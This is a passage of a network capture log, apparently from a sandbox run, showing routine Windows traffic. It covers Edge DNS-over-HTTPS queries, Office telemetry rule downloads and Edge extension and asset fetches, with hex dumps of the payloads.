<?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.7	49830	172.64.41.3	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:44 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-26 21:52:44 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 00 00 29 10 00 00 00 00 00 00 40 00 0c 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomA)@<
2024-11-26 21:52:45 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Tue, 26 Nov 2024 21:52:45 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e8d1b786f3b728f-EWR alt-svc: h3=":443"; ma=86400
2024-11-26 21:52:45 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 02 00 01 00 01 09 64 61 74 61 2d 65 64 67 65 0b 73 6d 61 72 74 73 63 72 65 65 6e 09 6d 69 63 72 6f 73 6f 66 74 03 63 6f 6d 00 00 41 00 01 c0 0c 00 05 00 01 00 00 0d 77 00 26 11 70 72 6f 64 2d 61 74 6d 2d 77 64 73 2d 65 64 67 65 0e 74 72 61 66 66 69 63 6d 61 6e 61 67 65 72 03 6e 65 74 00 c0 41 00 05 00 01 00 00 00 93 00 27 0e 70 72 6f 64 2d 61 67 69 63 2d 77 75 2d 32 06 77 65 73 74 75 73 08 63 6c 6f 75 64 61 70 70 05 61 7a 75 72 65 c0 2c c0 82 00 06 00 01 00 00 00 3c 00 30 06 6e 73 31 2d 30 32 09 61 7a 75 72 65 2d 64 6e 73 c0 2c 06 6d 73 6e 68 73 74 c0 22 00 00 27 11 00 00 03 84 00 00 01 2c 00 09 3a 80 00 00 00 3c 00 00 29 04 d0 00 00 00 00 00 f3 00 0c 00 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: data-edgesmartscreenmicrosoftcomAw&prod-atm-wds-edgetrafficmanagernetA'prod-agic-wu-2westuscloudappazure,<0ns1-02azure-dns,msnhst"',:<)

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.7	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:44 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:45 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: d3508ca6-601e-003d-4e91-3f6f25000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215245Z-174f7845968xr5c2hC1EWRd0hn0000000cx0000000008fmg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:45 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.7	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:45 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-26 21:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:45 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 8b39e191-d01e-0065-5191-3fb77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241126T215245Z-174f7845968xr5c2hC1EWRd0hn0000000ctg00000000mx2k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-26 21:52:45 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.7	49848	23.44.133.41	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:46 UTC	620	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733262763&P2=404&P3=2&P4=LC%2f0iiTQvTk1sA%2b5IhHJo8Q5uDnHY%2buOz19cm4o%2bwyD350RAM3LlJLJRGQFASpM7KlFqxXYrxVU9cGWlaMU42g%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: iqb5tcq5m+syq//8cfr3qo Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:46 UTC	1254	IN	HTTP/1.1 200 OK Content-Type: application/x-chrome-extension Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT Accept-Ranges: bytes ETag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Server: Microsoft-IIS/10.0 X-AspNetMvc-Version: 5.3 MS-CorrelationId: 3724508b-babb-4f82-a620-3229902e2e13 MS-RequestId: 145135a9-d189-4ee6-9ab6-9ea4d8f0c10d MS-CV: n+/dRx6ZTdr6A0xIW0pYAl.0 X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Cache-Control: public, max-age=86351 Date: Tue, 26 Nov 2024 21:52:46 GMT Alt-Svc: h3=":443"; ma=93600,h3-29=":443"; ma=93600,h3-Q050=":443"; ma=93600,quic=":443"; ma=93600; v="46,43" Connection: close Akamai-Request-BC: [a=23.44.134.60,b=863007520,c=g,n=US_NJ_PISCATAWAY,o=20940],[c=p,n=US_NJ_PISCATAWAY,o=20940] MSREGION: X-CCC: X-CID: 3 Akamai-GRN: 0.3c862c17.1732657966.33707320 Access-Control-Max-Age: 86400 Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: Server,range,hdntl,hdnts,Akamai-Mon-Iucid-Ing,Akamai-Mon-Iucid-Del,Akamai-Request-BC Access-Control-Allow-Headers: origin,range,hdntl,hdnts,CMCD-Request,CMCD-Object,CMCD-Status,CMCD-Session Access-Control-Allow-Methods: GET,POST,OPTIONS Access-Control-Allow-Origin: *
2024-11-26 21:52:46 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
84	192.168.2.7	49842	13.107.246.63	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:46 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.47 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:46 UTC	576	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:46 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: 68b2a3f8-601e-0055-262a-408370000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215246Z-174f78459685m244hC1EWRgp2c0000000vwg0000000082gr Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:46 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-26 21:52:46 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-26 21:52:46 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-26 21:52:47 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
85	192.168.2.7	49843	13.107.246.63	443	7832	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-26 21:52:46 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-26 21:52:46 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 26 Nov 2024 21:52:46 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: f9d55574-701e-0068-5ebf-3f3656000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241126T215246Z-174f7845968kdththC1EWRzvxn000000089000000000p5cx Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-26 21:52:46 UTC	15800	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 Data Ascii: 8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5Qa
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 Data Ascii: Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35Q
2024-11-26 21:52:47 UTC	16384	IN	Data Raw: 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 Data Ascii: >6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_]y]DZgtc>qDX\\M
